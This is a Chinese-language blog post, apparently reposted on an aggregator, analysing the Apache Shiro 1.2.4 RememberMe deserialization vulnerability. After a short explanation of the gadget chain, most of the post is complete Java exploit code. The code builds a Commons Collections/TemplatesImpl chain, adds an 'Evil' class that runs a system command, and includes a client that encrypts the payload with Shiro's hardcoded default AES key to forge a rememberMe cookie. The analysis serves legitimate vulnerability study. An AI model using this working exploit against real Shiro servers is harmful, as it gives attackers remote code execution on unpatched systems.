[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析相关的知识,希望对你有一定的参考价值。
写在前面
Payload来自P神的Github
Shiro RememberMe 1.2.4反序列化漏洞
在Shiro 1.2.4
版本之前内置了一个默认且固定的加密
Key
,导致攻击者可以伪造任意的rememberMe
,进而触发反序列化漏洞,在这里我们还是配合TemplatesImpl
执行字节码,但是如果使用Transformer数组则会报错,因为反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };
解决方案是在LazyMap
下面的get
方法下调用的transform
传参可以解决
如何去调用这个get方法,解决是在TiedMapEntry
下的getValue
方法
再网上看其自身的hashCode
方法调用了getValue
方法
再往上看,通过HashMap
的hash
方法
再往上就是HashMap
下面的ReadObject
方法
所以我们只需要在LazyMap
中将this.factory
设置为InvokerTransformer
,并将key设置为TemplatesImpl
即可
其中factory赋值也很简单,通过decorate
方法即可
最后通过反射展开TemplatesImpl
的newTransformer
对字节码进行加载利用
最后可以看下成功执行了calc
Payload
CommonsCollectionsShiro
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
return barr.toByteArray();
}
}
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
Client
public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
以上是关于[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章
17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)
17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)
17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)
17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)